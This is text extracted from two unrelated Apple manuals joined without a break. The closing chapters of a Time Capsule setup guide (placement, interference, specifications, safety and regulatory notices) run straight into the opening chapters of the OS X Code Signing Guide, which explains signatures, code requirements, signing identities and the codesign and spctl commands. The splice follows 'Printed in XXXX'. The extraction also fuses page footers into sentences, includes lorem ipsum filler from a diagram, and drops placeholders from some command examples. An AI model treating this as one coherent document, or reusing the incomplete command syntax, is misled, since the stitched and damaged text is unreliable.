 Place your Time Capsule in an open area where there are few obstructions, such as
large pieces of furniture or walls. Try to place it away from metallic surfaces.
 If you place your Time Capsule behind furniture, keep at least an inch of space
between the Time Capsule and the edge of the furniture.
 Avoid placing your Time Capsule in areas surrounded by metal surfaces on three or
more sides. 30 Chapter 3 Tips and Troubleshooting
 If you place your Time Capsule in an entertainment center with your stereo
equipment, avoid surrounding your Time Capsule with audio, video, or power cables.
Place your Time Capsule so that the cables are to one side. Maintain as much space
as possible between your Time Capsule and the cables.
 Try to place your Time Capsule at least 25 feet (7.6 meters) from any microwave oven,
2.4 or 5 gigahertz (GHz) cordless phone, and other sources of interference.
 Do not place other objects (books, papers, small pets, etc.) on top of the Time
Capsule. It may interfere with Time Capsule cooling.
Items That Can Cause Interference with AirPort
The farther away the interference source, the less likely it is to cause a problem.
The following can interfere with AirPort communication:
 Microwave ovens
 Direct Satellite Service (DSS) radio frequency leakage
 The original coaxial cable that came with certain types of satellite dishes. Contact the
device manufacturer and obtain newer cables.
 Certain electrical devices such as power lines, electrical railroad tracks, and power
stations
 Cordless telephones that operate in the 2.4 or 5 GHz range. If you have problems
with your phone or AirPort communication, change the channel your base station or
Time Capsule uses, or change the channel your phone uses.
 Nearby base stations using adjacent channels. For example, if base station A is set to
channel 1, base station B should be set to channel 6 or 11.4
31
4 Learning More,
Service, and Support
You can find more information about using your Time Capsule
on the web and in onscreen help.
Online Resources
For the latest information about the Time Capsule, go to www.apple.com/airport.
To register your Time Capsule (if you didn’t do it when you installed the software on
the Time Capsule CD), go to www.apple.com/register.
For AirPort support information, forums with product-specific information and
feedback, and the latest Apple software downloads, go to www.apple.com/support/
airport.
For support outside of the United States, go to www.apple.com/support, and then
choose your country.32 Chapter 4 Learning More, Service, and Support
Onscreen Help
To learn more about using AirPort Utility with your Time Capsule, open AirPort Utility
and choose Help > AirPort Utility Help.
Obtaining Warranty Service
If your Time Capsule appears to be damaged or doesn’t function properly, please
follow the advice in this booklet, the onscreen help, and the online resources.
If your Time Capsule still doesn’t function, go to www.apple.com/support for
information about getting warranty service.
Finding the Serial Number of Your Time Capsule
The serial number is printed on the bottom of your Time Capsule.33
Appendix
Time Capsule Specifications and
Safety Guidelines
Time Capsule Specifications
 Frequency Band: 2.4 and 5 GHz
 Radio Output Power: Up to 23 dBm (nominal)
 Standards: 802.11 DSSS 1 and 2 Mbps standard, 802.11a, 802.11b, 802.11g
specifications, and a draft 802.11n specification
Interfaces
 1 RJ-45 10/100/1000Base-T Gigabit Ethernet WAN (<)
 3 RJ-45 10/100/1000Base-T Gigabit Ethernet LAN (G)
 Universal Serial Bus (USB d) 2.0
 802.11 a/b/g/n AirPort Extreme wireless
Environmental Specifications
 Operating Temperature: 32° F to 95° F (0° C to 35° C)
 Storage Temperature: –13° F to 140° F (–25° C to 60° C)
 Relative Humidity (Operational): 20% to 80% relative humidity
 Relative Humidity (Storage): 10% to 90% relative humidity, noncondensing34 Appendix Time Capsule Specifications and Safety Guidelines
Size and Weight
 Length: 7.75 inches (197.0 mm)
 Width: 7.75 inches (197.0 mm)
 Height: 1.43 inches (36.33 mm)
 Weight: 3.5 pounds (1.6 kilograms)
Hardware Media Access Control (MAC) Addresses
The Time Capsule has three hardware addresses printed on the bottom of the case:
 AirPort ID: The two addresses used to identify the Time Capsule on a wireless
network.
 Ethernet ID: You may need to provide this address to your ISP to connect your Time
Capsule to the Internet.
Using Your Time Capsule Safely
 The only way to shut off power completely to your Time Capsule is to disconnect it
from the power source.
 When connecting or disconnecting your Time Capsule, always hold the plug by its
sides. Keep fingers away from the metal part of the plug.
 Your Time Capsule should not be opened for any reason, even when it’s unplugged.
If your Time Capsule needs service, see “Learning More, Service, and Support” on
page 31.
 Never force a connector into a port. If the connector and port don’t join with
reasonable ease, they probably don’t match. Make sure that the connector matches
the port and that you’ve positioned the connector correctly in relation to the port.Appendix Time Capsule Specifications and Safety Guidelines 35
About Operating and Storage Temperatures
 When you’re using your Time Capsule, it is normal for the case to get warm. The Time
Capsule case functions as a cooling surface that transfers heat from inside the unit to
the cooler air outside.
Avoid Wet Locations
 Keep your Time Capsule away from sources of liquid, such as drinks, washbasins,
bathtubs, shower stalls, and so on.
 Protect your Time Capsule from direct sunlight and rain or other moisture.
 Take care not to spill any food or liquid on your Time Capsule. If you do, unplug it
before cleaning up the spill.
 Do not use your Time Capsule outdoors. The Time Capsule is an indoor product.
Do Not Make Repairs Yourself
About Handling
Your Time Capsule may be damaged by improper storage or handling. Be careful not
to drop your Time Capsule when transporting it.
WARNING: To reduce the chance of shock or injury, do not use your Time Capsule in
or near water or wet locations.
WARNING: Do not attempt to open your Time Capsule or disassemble it. You run
the risk of electric shock and voiding the limited warranty. No user-serviceable parts
are inside.36
Regulatory Compliance Information
Wireless Radio Use
This device is restricted to indoor use due to its
operation in the 5.15 to 5.25 GHz frequency range to
reduce the potential for harmful interference to cochannel Mobile Satellite systems.
Cet appareil doit être utilisé à l’intérieur.
Exposure to Radio Frequency Energy
The radiated output power of this device is well below
the FCC and EU radio frequency exposure limits.
However, this device should be operated with a
minimum distance of at least 20 cm between its
antennas and a person’s body and the antennas used
with this transmitter must not be colocated or operated
in conjunction with any other antenna or transmitter
subject to the conditions of the FCC Grant.
FCC Declaration of Conformity
This device complies with part 15 of the FCC rules.
Operation is subject to the following two conditions: (1)
This device may not cause harmful interference, and (2)
this device must accept any interference received,
including interference that may cause undesired
operation. See instructions if interference to radio or
television reception is suspected.
Radio and Television Interference
This computer equipment generates, uses, and can
radiate radio-frequency energy. If it is not installed and
used properly—that is, in strict accordance with Apple’s
instructions—it may cause interference with radio and
television reception.
This equipment has been tested and found to comply
with the limits for a Class B digital device in accordance
with the specifications in Part 15 of FCC rules. These
specifications are designed to provide reasonable
protection against such interference in a residential
installation. However, there is no guarantee that
interference will not occur in a particular installation.
You can determine whether your computer system is
causing interference by turning it off. If the interference
stops, it was probably caused by the computer or one of
the peripheral devices.
If your computer system does cause interference to
radio or television reception, try to correct the
interference by using one or more of the following
measures:
 Turn the television or radio antenna until the
interference stops.
 Move the computer to one side or the other of the
television or radio.
 Move the computer farther away from the television or
radio.
 Plug the computer into an outlet that is on a different
circuit from the television or radio. (That is, make
certain the computer and the television or radio are on
circuits controlled by different circuit breakers or
fuses.)
If necessary, consult an Apple Authorized Service
Provider or Apple. See the service and support
information that came with your Apple product. Or,
consult an experienced radio/television technician for
additional suggestions.
Important: Changes or modifications to this product
not authorized by Apple Inc. could void the EMC
compliance and negate your authority to operate the
product.37
This product was tested for FCC compliance under
conditions that included the use of Apple peripheral
devices and Apple shielded cables and connectors
between system components. It is important that you
use Apple peripheral devices and shielded cables and
connectors between system components to reduce the
possibility of causing interference to radios, television
sets, and other electronic devices. You can obtain Apple
peripheral devices and the proper shielded cables and
connectors through an Apple-authorized dealer. For
non-Apple peripheral devices, contact the manufacturer
or dealer for assistance.
Responsible party (contact for FCC matters only)
Apple Inc., Corporate Compliance, 1 Infinite Loop M/S 26-A,
Cupertino, CA 95014-2084
Industry Canada Statement
This Class B device meets all requirements of the
Canadian interference-causing equipment regulations.
Cet appareil numérique de la Class B respecte toutes les
exigences du Règlement sur le matériel brouilleur du
Canada.
VCCI Class B Statement
Europe—EU Declaration of Conformity
For more information, see www.apple.com/euro/
compliance.
European Union — Disposal Information
This symbol means that according to local laws and
regulations your product should be disposed of
separately from household waste. When this product
reaches its end of life, take it to a collection point
designated by local authorities. Some collection points
accept products for free. The separate collection and
recycling of your product at the time of disposal will
help conserve natural resources and ensure that it is
recycled in a manner that protects human health and
the environment.
Disposal and Recycling Information
This product has an internal battery. Please dispose of it
according to your local environmental laws and
guidelines. For information about Apple’s recycling
program, go to www.apple.com/environment.
California: The coin cell battery in your product
contains perchlorates. Special handling and disposal
may apply. Refer to www.dtsc.ca.gov/hazardouswaste/
perchlorate.
Deutschland: Dieses Gerät enthält Batterien. Bitte nicht
in den Hausmüll werfen. Entsorgen Sie dieses Gerätes
am Ende seines Lebenszyklus entsprechend der
maßgeblichen gesetzlichen Regelungen.
Nederlands: Gebruikte batterijen kunnen worden
ingeleverd bij de chemokar of in een speciale
batterijcontainer voor klein chemisch afval (kca) worden
gedeponeerd.38
Taiwan:
Singapore Wireless Certification
Taiwan Warning Statements
Korea Warning Statements
© 2009 Apple Inc. All rights reserved.
Apple, the Apple logo, AirPort, AirPort Express, AirPort
Extreme, Apple TV, Bonjour, iPod, Leopard, Macintosh,
Mac OS, and Time Capsule are trademarks of Apple Inc.,
registered in the U.S. and other countries. Finder,
iPhone, and Time Machine are trademarks of Apple Inc.
Other product and company names mentioned herein
may be trademarks of their respective companies.www.apple.com/airport
www.apple.com/support/airport
034-4704-A
Printed in XXXX
Code Signing GuideContents
About Code Signing 4
At a Glance 5
Prerequisites 5
See Also 5
Code Signing Overview 6
The Benefits Of Signing Code 6
Digital Signatures and Signed Code 8
Code Requirements 8
The Role of Trust in Code Signing 9
Code Signing Tasks 11
Obtaining a Signing Identity 11
Adding an Info.plist to Single-File Tools 15
Signing Your Code 17
What to Sign 17
When to Sign 18
Using the codesign Command 18
Using the spctl Tool to Test Code Signing 21
Shipping and Updating Your Product 23
Code Signing Requirement Language 25
Language Syntax 25
Evaluation of Requirements 26
Constants 26
String Constants 26
Integer Constants 27
Hash Constants 27
Variables 27
Logical Operators 27
Comparison Operations 28
Equality 28
Inequality 29
Existence 29
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
2Constraints 29
Identifier 29
Info 30
Certificate 30
Trusted 32
Entitlement 33
Code Directory Hash 33
Requirement Sets 34
Document Revision History 36
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
3
ContentsCode signing is a security technology, used in OS X, that allows you to certify that an app was created by you.
Once an app is signed, the system can detect any change to the app—whether the change is introduced
accidentally or by malicious code.
Hash
Message digest Digital signature
Encrypt
Signer’s certificate
Code-signed data
Signer’s
private key
10101100100 10111100001
Data
Duis autem vel eum vulputate velit esse
molestie consequat, vel illum dolore.
00/00/00
Lorem Ipsum
Lorem Ipsum Dolor Lorem Ipsum Dolor
Duis autem vel eum iriure dolor in hendrerit in vulputate velit
esse molestie consequat, vel illum dolore eu feugiat nulla
facilisis.
Users appreciate code signing. After installing a new version of a code-signed app, a user is not bothered with
alerts asking again for permission to access the keychain or similar resources. As long as the new version uses
the same digital signature, OS X can treat the new app exactly as it treated the previous one.
Other OS X security features, such as App Sandbox and parental controls, also depend on code signing.
In most cases, you can rely on Xcode’s automatic code signing (described in Tools Workflow Guide for Mac ),
which requires only that you specify a code signing identity in the build settingsfor your project. This document
is for readers who must go beyond automatic code signing—perhaps to troubleshoot an unusual problem, or
to incorporate the codesign(1) tool into a build system.
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
4
About Code SigningAt a Glance
The elements of code signing include code signatures, code signing identities, code signing certificates, and
security trust policies. Be sure to understand these concepts if you need to perform code signing outside of
Xcode.
Relevant chapter: “Code Signing Overview” (page 6)
Before you can sign code, you must obtain or create a code signing identity. You then sign your code and
prepare it for distribution.
Relevant chapter: “Code Signing Tasks” (page 11)
To specify recommended criteria for verifiers to use when evaluating your app’s code signature, you use a
requirements language specific to the codesign(1) and csreq(1) commands. You then save your criteria
to a binary file as part of your Xcode project.
Relevant chapter: “Code Signing Requirement Language” (page 25)
Prerequisites
Read Security Overview to understand the place of code signing in the OS X security picture.
See Also
For descriptions of the command-line toolsfor performing code signing,see the codesign(1) and csreq(1)
man pages.
About Code Signing
At a Glance
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
5Code signing is a security technique that can be used to ensure code integrity, to determine who developed
a piece of code, and to determine the purposes for which a developer intended a piece of code to be used.
Although the code signing system performs policy checks based on a code signature, it is up to the caller to
make policy decisions based on the results of those checks. When it is the operating system that makes the
policy checks, whether your code will be allowed to run in a given situation depends on whether you signed
the code and on the requirements you included in the signature.
This chapter describes the benefits of signing code and introduces some of the basic concepts you need to
understand in order to carry out the code signing process.
Before you read this chapter, you should be familiar with the concepts described in Security Overview.
The Benefits Of Signing Code
When a piece of code has been signed, it is possible to determine reliably whether the code has been modified
by someone other than the signer. The system can detect such alternation whether it was intentional (by a
malicious attacker, for example) or accidental (as when a file gets corrupted). In addition, through signing, a
developer can state that an app update is valid and should be considered by the system as the same app as
the previous version.
For example,suppose a user grantsthe SurfWriter app permission to access a keychain item. Each time SurfWriter
attempts to access that item, the system must determine whether it is indeed the same app requesting access.
If the app is signed, the system can identify the app with certainty. If the developer updates the app and signs
the new version with the same unique identifier, the system recognizes the update as the same app and gives
it access without requesting verification from the user. On the other hand, if SurfWriter is corrupted or hacked,
the signature no longer matches the previous signature; the system detects the change and refuses access to
the keychain item.
Similarly, if you use Parental Controls to prevent your child from running a specific game, and that game has
been signed by its manufacturer, your child cannot circumvent the control by renaming or moving files. Parental
Controls uses the signature to unambiguously identify the game regardless of its name, location, or version
number.
All sorts of code can be signed, including tools, applications, scripts, libraries, plug-ins, and other “code-like”
data.
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
6
Code Signing OverviewCode signing has three distinct purposes. It can be used to:
● ensure that a piece of code has not been altered
●
identify code as coming from a specific source (a developer or signer)
● determine whether code is trustworthy for a specific purpose (for example, to access a keychain item).
To enable signed code to fulfill these purposes, a code signature consists of three parts:
● A seal, which is a collection of checksums or hashes of the various parts of the code, such as the identifier,
the Info.plist, the main executable, the resource files, and so on. The seal can be used to detect
alterations to the code and to the app identifier.
● A digital signature, which signs the seal to guarantee its integrity. The signature includes information that
can be used to determine who signed the code and whether the signature is valid.
● A unique identifier, which can be used to identify the code or to determine to which groups or categories
the code belongs. This identifier can be derived from the contents of the Info.plist for the app, or can
be provided explicitly by the signer.
For more discussion of digital signatures, see the following section, “Digital Signatures and Signed Code.”
To learn more about how a code signature is used to determine the signed code’s trustworthiness for a specific
purpose, see “Code Requirements” (page 8).
Note that code signing deals primarily with running code. Although it can be used to ensure the integrity of
stored code (on disk, for example), that's a secondary use.
To fully appreciate the uses of code signing, you should be aware of some things that signing cannot do:
●
It can’t guarantee that a piece of code is free of security vulnerabilities.
●
It can’t guarantee that an app will not load unsafe or altered code—such as untrusted plug-ins—during
execution.
●
It is not a digital rights management (DRM) or copy protection technology. Although the system could
determine that a copy of your app had not been properly signed by you, or that its copy protection had
been hacked, thus making the signature invalid, there is nothing to prevent a user from running the app
anyway.
Code Signing Overview
The Benefits Of Signing Code
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
7Digital Signatures and Signed Code
As explained in Security Overview, a digital signature uses public key cryptography to ensure data integrity.
Like a signature written with ink on paper, a digital signature can be used to identify and authenticate the
signer. However, a digital signature is more difficult to forge, and goes one step further: it can ensure that the
signed data has not been altered. This is somewhat like designing a paper check or money order in such a way
that if someone alters the written amount of money, a watermark with the text “Invalid” becomes visible on
the paper.
To create a digitalsignature, the signing software computes a special type of checksum called a hash (or digest)
based on a piece of data or code and encrypts that hash with the signer’s private key. This encrypted hash is
called a signature.
To verify that signature, the verifying software computes a hash of the data or code. It then uses the signer’s
public key to decrypt the signature, thus obtaining the original hash as computed by the signer. If the two
hashes match, the data has not been modified since it was signed by someone in possession of the signer’s
private key.
Signed code contains several digital signatures:
●
If the code is universal, the object code for each slice (architecture) is signed separately. This signature is
stored within the binary file itself.
● Various components of the application bundle (such as the Info.plist file, if there is one) are also
signed. These signatures are stored in a file called _CodeSignature/CodeResources within the bundle.
Code Requirements
It is up to the system or program that is launching or loading signed code to decide whether to verify the
signature and, if it does, to determine how to evaluate the results of that verification. The criteria used to
evaluate a code signature are called code requirements. The signer can specify requirements when signing
the code; such requirements are referred to as internal requirements. A verifier can read any internal
requirements before deciding how to treat signed code. However, it is up to the verifier to decide what
requirements to use. For example, Safari could require a plug-in to be signed by Apple in order to be loaded,
regardless of whether that plug-in’s signature included internal requirements.
One major purpose of code signatures is to allow the verifier to identify the code (such as a program, plug-in,
or script) to determine whether it is the same code the verifier has seen before. The criteria used to make this
determination are referred to asthe code’s designated requirement. For example, the designated requirement
for Apple Mail might be "was signed by Apple and the identifier is com.apple.Mail".
Code Signing Overview
Digital Signatures and Signed Code
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
8To see how this works in practice, assume the user has granted permission to the Apple Mail application to
access a keychain item. The keychain uses Mail’s designated requirement to identify it: the keychain records
the identifier (com.apple.Mail) and the signer of the application (Apple) to identify the program allowed
to access the keychain item. Whenever Mail attempts to access this keychain item, the keychain looks at Mail’s
signature to make sure that the program has not been corrupted, that the identifier is com.apple.Mail, and
that the program wassigned by Apple. If everything checks out, the keychain gives Mail accessto the keychain
item. When Apple issues a new version of Mail, the new version includes a signature, signed by Apple, that
identifies the application as com.apple.Mail. Therefore, when the user installs the new version of Mail and
it attempts to access the keychain item, the keychain recognizes the updated version as the same program
and does not prompt the user for verification.
Architecturally, a code requirement is a script, written in a dedicated language, that describes conditions
(restrictions) the code mustsatisfy to be acceptable forsome purpose. It is up to you whether to specify internal
requirements when you sign code.
The program identifier or the entire designated requirement can be specified by the signer, or can be inferred
by the codesign tool at the time of signing. In the absence of an explicitly specified designated requirement,
the codesign utility typically builds a designated requirement from the name of the program found in its
Info.plist file and the chain of signatures securing the code signature.
Note that validation of signed code against a set of requirements is performed only when the system or some
other program needs to determine whether it is safe to trust that code. For example, unsigned code injected
into an application through a buffer overflow can still execute because it was not part of the application at
launch time. Similarly, an app with an invalid code identifier may still run (depending on policy), but does not
get automatic access to keychain items created by previous versions of the app.
The Role of Trust in Code Signing
Trust is determined by policy. A security trust policy determines whether a particular identity should be accepted
for allowing something, such as access to a resource or service. Various parts of OS X have different policies,
and make this determination differently. For example, a specialized client application might include a set of
root certificatesthat it trusts when communicating with a specific set ofservers. However, these root certificates
would not be trusted if those same servers were accessed using a web browser.
In much the same way, many parts of OS X (the OS X keychain and parental controls, for example) do not care
what entity signed an application; they care only whether the signer has changed since the last time the
signature was checked. They use the code signature’s designated requirement for this purpose.
Code Signing Overview
The Role of Trust in Code Signing
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
9Other parts of OS X constrain acceptable signatures to only those drawn from certificate authorities (root
certificates) that are trusted anchors on the system performing the validation. For those checks, the nature of
the identity used matters. The Application Firewall is one example of this type of policy. Self-signed identities
and self-created certificate authorities do not work for these purposes unless the user has explicitly told the
operating system to trust the certificates.
You can modify the code signing polices of OS X with the spctl(8) command.
Code Signing Overview
The Role of Trust in Code Signing
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
10This chapter gives procedures and examplesfor the code signing process. It covers what you need to do before
you begin to sign code, how to sign code, and how to ship the code you signed.
Obtaining a Signing Identity
To sign code, you need a code signing identity, which is a private key plus a digital certificate. The digital
certificate must have a usage extension that enables it to be used for signing and it must contain the public
key that corresponds to the private key. You can use more than one signing identity, each for its own purpose,
such as one to be used for beta seeds and one for final, released products. However, most organizations use
only one identity.
You can obtain two types of certificates from Apple using the developer portal: Developer ID certificates (for
public distribution) and distribution certificates (for submitting to the Mac App Store). To learn more about
this, read Tools Workflow Guide for Mac .
Note: Apple uses the industry-standard form and format of code signing certificates. Therefore, if
your company already has a third-party signing identity that you use to sign code on other systems,
you can use it with the OS X codesign command. Similarly, if your company is a certificate issuing
authority, contact your IT department to find out how to get a signing certificate issued by your
company.
If you do not have an existing identity, you should first create one using the Certificate Assistant, which is
provided as part of the Keychain Access application. This tool creates a public key, puts it into your keychain,
and optionally can produce a certificate signing request that you can then send to Apple (or another certificate
authority). The certificate authority then sends you a certificate that, in combination with your private key,
completes your digital identity.
To import a signing certificate with Keychain Access
1. In Keychain Access (available in /Applications/Utilities), choose File > Import Items.
2. Choose a destination keychain for the identity.
3. Choose the certificate file.
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
11
Code Signing Tasks4. Click Open.
Note: If the original private key is not already in your keychain (for example, if you are moving from
one development machine to another), you must also import the private key in the same way.
Before you obtain a code signing identity and sign your code, consider the following points:
● Do not ship applications signed by self-signed certificates. A self-signed certificate created with the
Certificate Assistant is not recognized by users’ operating systems as a valid certificate for any purpose
other than validating the designated requirement of your signed code. Because a self-signed certificate
has not been signed by a recognized root certificate authority, the user can only verify that two versions
of your application came from the same source; they cannot verify that your company is the true source
of the code. For more information about root authorities, see “Security Concepts”.
● Depending on your company’s internal policies, you might have to involve your company’s Build and
Integration, Legal, and Marketing departments in decisions about what sort of signing identity to use and
how to obtain it. You should start this process well in advance of the time you need to actually sign the
code for distribution to customers.
● Any signed version of your code that gets into the hands of users will appear to have been endorsed by
your company for use. Therefore, you might not want to use your “final” signing identity to sign code that
is still in development.
● A signing identity, no matter how obtained, is completely compromised if it is ever out of the physical
control of whoever is authorized to sign the code. That means that the signing identity’s private key must
never, under any circumstances, be given to end users, and should be restricted to one or a small number
of trusted persons within your company. Before obtaining a signing identity and proceeding to sign code,
you must determine who within your company will possess the identity, who can use it, and how it will
be kept safe. For example, if the identity must be used by more than one person, you can keep it in the
keychain of a secure computer and give the password of the keychain only to authorized users, or you
can put the identity on a smart card to which only authorized users have the PIN.
● A self-signed certificate created by the Certificate Assistant is adequate for internal testing and development,
regardless of what procedures you put in place to sign released products.
To use the Certificate Assistant to create a self-signed signing identity
1. Open Applications > Utilities > Keychain Access.
Code Signing Tasks
Obtaining a Signing Identity
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
122. From the Keychain Access menu, choose Certificate Assistant > Create a Certificate.
3. Fill in a name for the certificate. This name appears in the Keychain Access utility as the name of the
certificate.
4. Choose Self Signed Root from the Type popup menu.
Code Signing Tasks
Obtaining a Signing Identity
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
135. Check the Let me override defaults checkbox. Click Continue.
6. Specify a serial number for the certificate. Any number will do as long as you have no other certificate
with the same name and serial number.
Code Signing Tasks
Obtaining a Signing Identity
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
147. Choose Code Signing from the Certificate Type popup menu. Click Continue.
8. Fill in the information for the certificate. Click Continue.
9. Accept the defaults for the rest of the dialogs.
Adding an Info.plist to Single-File Tools
As discussed in “Code Requirements” (page 8), the system often uses the Info.plist file of an application
bundle to determine the code’s designated requirement. Although single-file tools don’t normally have an
Info.plist, you can add one. To do so, use the following procedure:
1. Add an Info.plist file to your project (including adding it to your source control).
2. Make sure the Info.plist file has the following keys:
● CFBundleIdentifier
● CFBundleName
Code Signing Tasks
Adding an Info.plist to Single-File Tools
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
153. The value for CFBundleIdentifier is used asthe default unique name of your program for Code Signing
purposes. Because the CFBundleIdentifier value is also used when your application accessesresources
in the application bundle, it may sometimes be necessary to use a non-unique CFBundleIdentifier
value for a helper. If you do this, you must provide a different, unique identifier for code signing purposes
by passing the -i or --identifier flag to the codesign command.
The identifier used for signing must be globally unique. To ensure uniqueness, you should include your
company’s name in the value. The usual form for this identifier is a hierarchical name in reverse DNS
notation,starting with the top level domain, followed by the company name, followed by the organization
within the company, and ending with the product name. For example, the CFBundleIdentifier value
for the codesign command is com.apple.security.codesign.
4. The value for CFBundleName shows up in system dialogs asthe name of your program,so itshould match
your marketing name for the product.
5. Add the following arguments to your linker flags:
-sectcreate __TEXT __info_plist Info.plist_path
where Info.plist_path is the complete path of the Info.plist file in your project.
In Xcode, for example, you would add these linker flags to the OTHER_LDFLAGS build variable (Other
Linker Flags in the target’s build rules).
For example, here are the contents of the Info.plist file for the codesign command:
CFBundleDevelopmentRegion
English
CFBundleIdentifier
com.apple.security.codesign
CFBundleInfoDictionaryVersion
6.0
CFBundleName
codesign
CFBundleVersion
0.3
Code Signing Tasks
Adding an Info.plist to Single-File Tools
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
16Signing Your Code
You use the codesign command to sign your code. This section discusses what to sign and gives some
examples of the use of codesign. See the codesign(1) manual page for a complete description of its use.
What to Sign
You should sign every executable in your product, including applications, tools, hidden helper tools, utilities
and so forth. Signing an application bundle covers its resources, but not its subcomponents such as tools and
sub-bundles. Each of these must be signed independently.
If your application consists of a big UI part with one or more little helper tools that try to present a single face
to the user, you can make them indistinguishable to code signing by giving them all the exact same code
signing identifier. (You can do that by making sure that they all have the same CFBundleIdentifier value
in their Info.plist, or by using the -i option in the codesign command, to assign the same identifier.) In
that case, all your program components have access to the same keychain items and validate as the same
program. Do this only if the programs involved are truly meant to form a single entity, with no distinctions
made.
A universal binary (bundle or tool) automatically has individual signatures applied to each architecture
component. These are independent, and usually only the native architecture on the end user'ssystem is verified.
In the case of installer packages (.pkg and .mpkg bundles), everything is implicitly signed: The CPIO archive
containing the payload, the CPIO archive containing install scripts, and the bill of materials (BOM) each have
a hash recorded in the XAR header, and that header in turn is signed. Therefore, if you modify an install script
(for example) after the package has been signed, the signature will be invalid.
You may also want to sign your plug-ins and libraries. Although this is not currently required, it will be in the
future, and there is no disadvantage to having signatures on these components.
Important: When code signing a framework, you must sign a particular version of the framework, not the
framework as a whole. For example:
codesign -s my-signing-identity ../MyCustomFramework/Versions/A
Depending on the situation, codesign may add to your Mach-O executable file, add extended attributes to
it, or create new files in your bundle's Contents directory. None of your other files is modified.
Code Signing Tasks
Signing Your Code
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
17When to Sign
You can run codesign at any time on any system running OS X v10.5 or later, provided you have access to
the signing identity. You can run it from a shell script phase in Xcode if you like, or as a step in your Makefile
scripts, or anywhere else you find suitable. Signing is typically done as part of the product mastering process,
after quality assurance work has been done. Avoid signing pre-final copies of your product so that no one can
mistake a leaked or accidentally released incomplete version of your product for the real thing.
Your final signing must be done after you are done building your product, including any post-processing and
assembly of bundle resources. Code signing detects any change to your program after signing, so if you make
any changes at all after signing, your code will be rejected when an attempt is made to verify it. Sign your code
before you package the product for delivery.
Because each architecture component is signed independently, it is all right to perform universal-binary
operations (such as running the lipo command) on signed programs. The result will still be validly signed as
long as you make no other changes.
Using the codesign Command
The codesign command is fully described in the codesign(1) manual page. This section provides some
examples of common uses of the command. Note that your signing identity must be in a keychain for these
commands to work.
Signing Code
To sign the code located at , using the signing identity , use the following command:
codesign -s …
The value may be a bundle folder or a specific code binary. See “What to Sign” (page 17) for
more details.
The identity can be named with any (case sensitive) substring of the certificate's common name attribute, as
long as the substring is unique throughout your keychains. (Signing identities are discussed in “Obtaining a
Signing Identity” (page 11).)
As is typical of Unix-style commands, this command gives no confirmation of success. To get some feedback,
include the -v option:
codesign -s -v …
Code Signing Tasks
Signing Your Code
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
18Use the -r option to specify an internal requirement. With this option you can specify a text file containing
the requirements, a precompiled requirements binary, or the actual requirement text prefixed with an equal
sign (=). For example, to add an internal requirement that all libraries be signed by Apple, you could use the
following option:
-r="library => anchor apple"
The code requirement language is described in “Code Signing Requirement Language” (page 25).
If you have built your own certificate hierarchy (perhaps using Certificate Assistant—see “Obtaining a Signing
Identity” (page 11)), and want to use your certificate’s anchor to form a designated requirement for your
program, you could use the following command:
codesign -s signing-identity -r="designated => anchor /my/anchor/cert and identifier
com.mycorp.myprog"
Note that the requirement source language accepts either an SHA1 hash of a certificate (for example
H"abcd....") or a path to the DER encoded certificate in a file. It does not currently accept a reference to
the certificate in a keychain, so you have to export the certificate before executing this command.
You can also use the csreq command to write the requirements out to a file, and then use the path to that
file as the input value for the -r option in the codesign command. See the manual page for csreq(1) for
more information on that command.
Here are some other samples of requirements:
● anchor apple –the code is signed by Apple
● anchor trusted –the anchor is trusted (for code signing) by the system
● certificate leaf = /path/to/certificate –the leaf (signing) certificate is the one specified
● certificate leaf = /path/to/certificate and identifier "com.mycorp.myprog" –the
leaf certificate and program identifier are as specified
● info[mykey] = myvalue – the Info.plist key mykey exists and has the value myvalue
Except for the explicit anchor trusted requirement, the system does not consult its trust settings database
when verifying a code requirement. Therefore, as long as you don’t add this designated requirement to your
code signature, the anchor certificate you use for signing your code does not have to be introduced to the
user’s system for validation to succeed.
Code Signing Tasks
Signing Your Code
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
19Adding Entitlements for Sandboxing
If you want to enable App Sandbox for an application, you must add an entitlement property list during the
signing process. To do this, add the --entitlements flag and an appropriate property list. For example:
codesign --entitlements /path/to/entitlements.plist -s …
For a list of entitlement keys that can appear in the entitlement property list, see Entitlement Key Reference .
Verifying Code
To verify the signature on a signed binary, use the -v option with no other options:
codesign -v …
This checks that the code binaries at are actually signed, that the signature is valid, that all the
sealed components are unaltered, and that the whole thing passes some basic consistency checks. It does not
by default check that the code satisfies any requirements except its own designated requirement. To check a
particular requirement, use the -R option. For example, to check that the Apple Mail application is identified
as Mail,signed by Apple, and secured with Apple’srootsigning certificate, you could use the following command:
codesign -v -R="identifier com.apple.mail and anchor apple" /Applications/Mail.app
Note that, unlike the -r option, the -R option takes only a single requirement rather than a requirements
collection (no => tags). Add one or more additional -v options to get details on the validation process.
If you pass a number rather than a path to the verify option, codesign takes the number to be the process
ID (pid) of a running process, and performs dynamic validation instead.
Getting Information About Code Signatures
To get information about a code signature, use the -d option. For example, to output the code signature’s
internal requirements to standard out, use the following command:
codesign -d -r code-path
Note that this option does not verify the signature.
Code Signing Tasks
Signing Your Code
2012-07-23 | © 2012 Apple Inc. All Rights Reserved.
20Using the spctl Tool to Test Code Signing
The spctl(8) tool can be used to test your code signatures against various system policies that the user may
set. The basic syntax for code signing assessment is shown below:
# Assess an application or tool
spctl --assess --type execute myTool
# Assess an installer package
spctl --assess --type install myInstallerPackage.pkg
If your application or package signature is valid, these tools exit silently with an exit status of 0. (Type echo
$? to display the exit status of the last command.) If the signature is invalid, these tools print an error message
and exit with a nonzero exit status.
For more detailed information about why the assessment failed, you can add the --verbose flag. For example:
spctl --assess --verbose=4 /bin/ls
This prints the following output:
/bin/ls: accepted
source=Apple System
